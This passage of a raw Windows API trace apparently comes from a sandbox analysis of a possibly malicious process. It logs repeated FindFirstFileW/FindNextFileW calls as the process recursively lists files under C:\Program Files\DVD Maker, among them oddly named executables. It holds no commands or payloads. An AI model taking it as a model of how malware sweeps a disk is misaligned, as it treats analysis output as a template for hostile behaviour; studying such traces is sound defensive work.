ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0237.189] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0237.190] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0237.190] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0237.190] GetProcessHeap () returned 0x560000 [0237.190] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5cad68 [0237.190] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*", lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd88 [0237.191] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.191] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0237.191] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0237.191] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0237.191] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0237.323] FindClose (in: hFindFile=0x65bd88 | out: hFindFile=0x65bd88) returned 1 [0237.323] GetProcessHeap () returned 0x560000 [0237.323] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x560000) returned 1 [0237.323] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0237.323] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0237.324] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1892ae20, ftCreationTime.dwHighDateTime=0x1d5aa96, ftLastAccessTime.dwLowDateTime=0x6ac8df70, ftLastAccessTime.dwHighDateTime=0x1d5769d, ftLastWriteTime.dwLowDateTime=0x6ac8df70, ftLastWriteTime.dwHighDateTime=0x1d5769d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="isspos.exe", cAlternateFileName="")) returned 1 [0237.324] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0237.324] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0237.325] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0237.325] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0237.326] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0237.326] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b5f410, ftCreationTime.dwHighDateTime=0x1d53a6c, ftLastAccessTime.dwLowDateTime=0xc2ab4450, ftLastAccessTime.dwHighDateTime=0x1d5c1f5, ftLastWriteTime.dwLowDateTime=0xc2ab4450, ftLastWriteTime.dwHighDateTime=0x1d5c1f5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="referrals-pamela-algebra.exe", cAlternateFileName="REFERR~1.EXE")) returned 1 [0237.326] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0237.326] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0237.328] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0237.328] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0237.329] GetProcessHeap () returned 0x560000 [0237.329] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5cad68 [0237.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*", lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd88 [0237.334] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.335] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0237.335] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0237.335] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0237.336] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="DVDSTY~1")) returned 1 [0237.336] GetProcessHeap () returned 0x560000 [0237.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b748d8 [0237.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0237.746] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.746] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0237.747] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0237.747] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0237.747] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0237.747] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0237.747] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0237.748] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0237.748] GetProcessHeap () returned 0x560000 [0237.748] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0237.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0237.748] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.749] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0237.749] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0237.749] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0237.749] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0237.750] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, 